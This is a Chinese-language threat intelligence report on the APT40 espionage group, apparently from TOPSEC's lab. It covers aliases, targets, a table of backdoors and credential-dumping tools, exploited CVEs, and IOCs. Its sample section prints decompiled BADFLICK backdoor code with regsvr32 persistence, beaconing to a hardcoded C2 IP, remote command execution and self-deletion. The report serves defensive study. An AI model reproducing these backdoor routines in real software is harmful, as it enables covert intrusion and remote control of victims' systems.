天融信 TOPSEC 可信网络 安全世界 RELIABLE NETWORK SAFE WORLD APT 组织研究报告

APT40 关键信息梳理

A New Organization Surfaced

2019 年 3 月

听风者实验室

FireEye APT 40 关键信息梳理

一．关键点梳理

APT 组织名称：APT 40

别称：TEMP.Periscope,TEMP.Jumper，Leviathan

关联组织：NanHaiShu

组织最早活动时间：2013 年

最早报道时间：NanHaiShu 组织最早被报道于 2016 年，Leviathan 最早被报于 2017 年。

组织目标国家：柬埔寨，比利时，德国，香港，菲律宾，马来西亚，挪威，沙特阿拉伯，瑞士，美国和英国

组织目标行业：工程，运输和国防工业，特别是与海事技术相关部分

二．涉及 TTP

根据 FireEye 的报道，APT40 使用的攻击技术非常多，TTP 超过 50 个。其中作用明确的 TTP 如下：

攻击阶段	使用技术	描述
初始攻击	Phishing Operations	钓鱼活动
	Strategic Web Compromise	战略性 Web 攻击
	Web Server Compromise	Web 服务器攻击
	China Chopper	一套简单的代码注入 webshell，可在 HTTP POST 命令当中执行微软.NET 代码。这意味着该 shell 将能够上传与下载文件，使用 Web 服务器帐户权限执行应用程序，列出目录内容，访问 Active Directory，访问数据库以及其它.NET 运行过程中所允许的其它操作。
	JspSpy	JspSpy 是在 github.com 上公开发布的可用 web

		shell。公开可用的版本是“Code By Ninty”
	SCANBOX	恶意软件
建立立足点	AIRBREAK	第一阶段后门，一款基于 JavaScript 的后门，亦被称为“Orz”，能够从受入侵的合法服务与网页当中收集配置文件与隐藏字符串，进而检索相关命令
	BADFLICK	一款后门程序，能够修改文件系统，生成反向 shell 并修改其命令与控制（简称 C&C）配置
	BLACKCOFFEE	一款可将自身流量混淆为指向 GitHub 及微软 Technet 门户等合法网站的正常流量的后门。APT17（同样被认为是中国的黑客组织） 曾经使用过这款工具。
	EVILTECH	APT40 自定义恶意软件
	FRESHAIR	APT40 使用的第一阶段后门
	GhOst RAT	一款开源远程访问工具，被多个组织使用。
	China Chopper	一套简单的代码注入 webshell，可在 HTTP POST 命令当中执行微软.NET 代码。这意味着该 shell 将能够上传与下载文件，使用 Web 服务器帐户权限执行应用程序，列出目录内容，访问 Active Directory，访问数据库以及其它.NET 运行过程中所允许的其它操作。
	PHOTO	一款 DLL 后门，亦被称为“Derusbi”，能够获取目录、文件与驱动器列表;创建反向 shell；执行屏幕截图；录制视频与音频;列出、终止及创建进程；枚举、启动并删除注册表项与值;记录键盘输入结果，从受保护的存储介质中返回用户名及密码;对文件进行重命名、删除、复制、移动、读取以及写入。
	Sogu(PlugX)	一种使用模块化插件的远程访问工具（RAT）
	BEACON	一款适用于 Cobalt Strike 软件平台的商用后门，通常用于对网络环境进行渗透测试。该恶意软件支持多种功能，包括注入与执行任意代码、上传及下载文件以及执行 shell 命令。

提权	DADBOD	APT40 夫妻上存在的恶意软件。
	HOMEFRY	一款面向 64 位 Windows 系统的密码提取器/破解器，其此前曾被连同 AIRBREAK 以及 BADFLICK 后门一起注入目标系统。某些字符串会使用 XOR x56 进行模糊处理。该恶意软件可在命令行当中接受两条参数：一条用于为每个登录会话显示明文凭证，另一条用于为每个登录会话显示明文凭证、NTLM 哈希以及恶意软件版本。
	Mimikatz	一个凭证转储器，能够获取纯文本 Windows 帐户登录名和密码，以及许多其他功能。
	ProcDump	是 System Internal 提供的一个专门用来监测程序 CPU 高使用率从而生成进程 dump 文件的工具。
	Windows Credential Editor	一种密码转储工具。
	Quarks PwDump	一款开放源代码的 Windows 用户凭据提取工具。
内部侦查	MURKYTOP	一款命令行侦察工具，可用于以不同用户身份实现文件执行、本地移动以及删除。此外，它还能够调度远程 AT 作业、在连接的网络上进行主机发现、扫描已接入主机上的开放网络端口，进而检索该远程主机上的操作系统、用户、组以及共享信息。
	Nmap	是一款用于网络发现和安全审计的网络安全工具，通常用于：列举网络主机清单、管理服务升级调度、监控主机、服务运行状况
	net.exe	网络资源管理工具
	MURKYSHELL	被 APT40 用来端口扫描 IP 地址并进行网络枚举。
持久化	AIRBREAK	第一阶段后门，一款基于 JavaScript 的后门，亦被称为“Orz”，能够从受入侵的合法服务与网页当中收集配置文件与隐藏字符串，进而检索相关命令

	PHOTO	一款 DLL 后门，亦被称为“Derusbi”，能够获取目录、文件与驱动器列表;创建反向 shell；执行屏幕截图；录制视频与音频;列出、终止及创建进程；枚举、启动并删除注册表项与值;记录键盘输入结果，从受保护的存储介质中返回用户名及密码;对文件进行重命名、删除、复制、移动、读取以及写入。
	China Chopper	一套简单的代码注入 webshell，可在 HTTP POST 命令当中执行微软.NET 代码。这意味着该 shell 将能够上传与下载文件，使用 Web 服务器帐户权限执行应用程序，列出目录内容，访问 Active Directory，访问数据库以及其它.NET 运行过程中所允许的其它操作。
	JspSpy	JspSpy 是在 github.com 上公开发布的可用 web shell。公开可用的版本是“Code By Ninty”
内网横移	at.exe	Windows 实用程序，任务计划程序
	net.exe	网络资源管理工具。
	MURKYTOP	一款命令行侦察工具，可用于以不同用户身份实现文件执行、本地移动以及删除。此外，它还能够调度远程 AT 作业、在连接的网络上进行主机发现、扫描已接入主机上的开放网络端口，进而检索该远程主机上的操作系统、用户、组以及共享信息。
	DISHCLOTH	APT40 的自定义实用程序，用来攻击不同的协议和服务
完成任务	BLACKCOFFEE	一款可将自身流量混淆为指向 GitHub 及微软 Technet 门户等合法网站的正常流量的后门。APT17（同样被认为是中国的黑客组织） 曾经使用过这款工具。
	LUNCHMONEY	一款能够将文件渗漏至 Dropbox 的上传器。

除上面表格以外，APT40 组织还使用了其他的攻击手法或工具，目前没有对这些攻击手法或工具的详细说明，把这些列举如下：

攻击阶段	使用工具
初始攻击	DEATHCLOCK
	FINDLOCK
	TRANSPORTER
	WASHBOARD
	ZXSHELL
建立立足点	ESKC2
提权	GSECDUMP
	TWNICKS
	BADSIGN
	COOKIEFISH
	GREENPIG
	WAVEKEY
	COATHOOK
内部侦查	MOVIETIME
	WILDELK
	WIDETONE
持久化	JUMPKICK
	GRILLMARK
	FIELDGOAL
内网横移	REDMAGE
	TRAFFIX
	RELAYRACE
	ABPTTS(A Black Path Towark The Sun)
完成任务	PAPERPUSH
	TRAFFIX
	XTHIEF

APT40 使用过的漏洞如下：

CVE-2012-0158

CVE-2017-0199

CVE-2017-8759

CVE-2017-11882

三．涉及样本及分析

查找以往对 TEMP.Periscope 的报道后，获取到后门样本 BADFLICK。对样本进行分析，详细情况如后文所示。

样本信息：

样本类型：PE文件
样本大小：36,864 字节
感染类型：后门文件
MD5: BD9E4C82BF12C4E7A58221FC52FED705
SHA1: AA6A121F98330DF2EDEE6C4391DF21FF43A33604
SHA256: 7BA05ABDF8F0323AA30C3D52E22DF951EB5B67A2620014336EAB7907B0A5CEDF

样本行为分析：

持久化：

通过命令行参数注册 DLL 实现持久化：

```
if ( *(_DWORD *)_p___argc() == 4 )
{
  v11 = _p___argv();
  parm_2_1 = _p___argv();
  v12 = _p___argv();
  parm_3 = the_MultiByteToWideChar(*(LPCSTR *)(*(_DWORD *)v11 + 12));
  parm_2 = the_MultiByteToWideChar(*(LPCSTR *)(*(_DWORD *)parm_2_1 + 8));
  parm_1 = the_MultiByteToWideChar(*(LPCSTR *)(*(_DWORD *)v12 + 4));
  swprintf(&CommandLine, (size_t)L"regsvr32 %s %s %s go \"%s\"", parm_1, parm_2, parm_3, &Filename);// 注册dll
  sub_401CBD(&CommandLine, &Filename);
  ExitProcess(0);
}
```

网络连接：

样本运行后，向 103.243.175.181 发送上线信息：

```
strcpy(v7, "1|103.243.175.181|80|5|xxxxxxxxxxxxxxxxxxxxxx");
if ( *v7 == '1' )
{
  if ( sscanf("1|103.243.175.181|80|5|xxxxxxxxxxxxxxxxxxxxxx", "1|%[^|]|%[^|]|%[^|]|", &v25, &Str, &v26) == 3 )
  {
    v8 = atoi(&Str);
    v9 = atoi(&v26);
    sub_401CF5();
    sub_4026B5(&v25, v8, v9, L"winMain static green");// 发送上线信息
  }
  result = 1;
}
```

创建线程，根据获得的命令 order 执行不同操作：

```
order = recv_info(s);
if ( order )
{
  while ( 1 )
  {
    if ( *(_BYTE *)order != 45 )
    {
      if ( *(_BYTE *)order != 46 )
      {
        switch ( *(_BYTE *)order )            // 获取命令
```

命令为 0x2F——发送信息。

```
case 0x2F:
  sprintf(
    &Dest,
    "%s:%d:%s:%d:%d",
    a103243175181_0,
    *(_DWORD *)&hostshort,
    a103243175181,
    *(_DWORD *)&dword_407030,
    dword_407028);
  v9 = sub_402C3F(&Dest);
  send_info(s, (size_t)v9, 1);
  break;
```

命令为 0x33——调用 cmd 获取感染主机信息。

```
case 0x33:
  v4 = sub_401CF8();
  if ( !connect(v4, &name, 16) )
  {
    v5 = sub_402C50(*(_DWORD *)((char *)order + 5));
    if ( send_info(v4, (size_t)v5, 1) )
    {
      v6 = (const WCHAR *)(*(_WORD *)((char *)order + 9) != 0 ? (unsigned int)order + 9 : 0);
      p_get_info = v4;
      if ( call_cmd(v6, (int)&p_get_info) )// 调用cmd,获取系统信息
      {
        v7 = (int *)operator new(0x10u);
        if ( v7 )
        {
          *v7 = p_get_info;
          v7[1] = v13;
          v7[2] = v14;
          v7[3] = v15;
        }
        else
        {
          v7 = 0;
        }
        beginthread(sub_4023E3, 0, v7);// 获取命名管道中的内容
        v8 = (int *)operator new(0x10u);
        if ( v8 )
        {
          *v8 = p_get_info;
          v8[1] = v13;
          v8[2] = v14;
          v8[3] = v15;
```

命令 0x38——从攻击者服务器接受命令。

```
case 0x38:
  v1 = sub_401CF8();
  if ( !connect(v1, &name, 16) )
  {
    v2 = sub_402C77(*(_DWORD *)((char *)order + 5));
    if ( send_info(v1, (size_t)v2, 1) )
    {
      v3 = (SOCKET *)operator new(4u);
      if ( v3 )
        *v3 = v1;
      else
        v3 = 0;
      beginthread(send_and_recv_info, 0, v3);// 创建线程，用来接收和发送数据
    }
  }
  break;
```

隐蔽自身：

在执行完持久化操作和创建用于网络连接的线程后 ，删除自身文件：

```
v8 = wcsstr(a4, L"modulePath=");
if ( v8 )
{
  if ( swscanf(v8, L"modulePath=%[^|]", &FileName) == 1 )
    DeleteFileW(&FileName);
}
```

四．IOC

文件哈希：

c0b8d15cd0f3f3c5a40ba2e9780f0dd1db526233b40a449826b6a7c92d31f8d9

c63ccc5c08c3863d7eb330b69f96c1bcf1e031201721754132a4c4d0baff36f8

c92a26c42c5fe40bd343ee94f5022e05647876daa9b9d76a4eeb8a89b7f7103d

c67625e2b5e2f01b74e854c0c1fdf0b3b4733885475fe35b80a5f4bca13eccc7

138d62f8ee7e4902ad23fe81e72a1f3b7ac860d3c1fd5889ed8b8236b51ba64b

9d0c4ec62abe79e754eaa2fd7696f98441bc783781d8656065cddfae3dbf503e

3CF37DBE809C2FCB5F5C443B5D532639

2DD9AAB33FCDD039D3A860F2C399D1B1

35F456AFBE67951B3312F3B35D84FF0A

3CD25B30C7F25435C17EAF4829FE1FB6

81C5E320D12A6C3EC8B50378AC3EA3E1

6E843EF4856336FE3EF4ED27A4C792B1

8A9AC1B3EF2BF63C2DDFADBBBFD456B5

ABB77435A85DD381036D3BFCB04AA80D

E1512A0BF924C5A2B258EC24E593645A

E3867F6E964A29134C9EA2B63713F786

3C51C89078139337C2C92E084BB0904C

5D6AD552F1D1B5CFE99DDB0E2BB51FD7

CF027A4829C9364D40DCAB3F14C1F6B7

217D40CCD91160C152E5FCE0143B16EF

9BB8F045D5D4C686DCFF9D950257B312

E413B45A04BF5F812912772F4A14650F

3FEFA55DAEB167931975C22DF3ECA20A

40528E368D323DB0AC5C3F5E1EFE4889

A9E7539C1EBE857BAE6EFCEEFAA9DD16

BD9E4C82BF12C4E7A58221FC52FED705

IP

185.106.120.206:21

103.243.175.181

URL

http://www.vitaminmain.info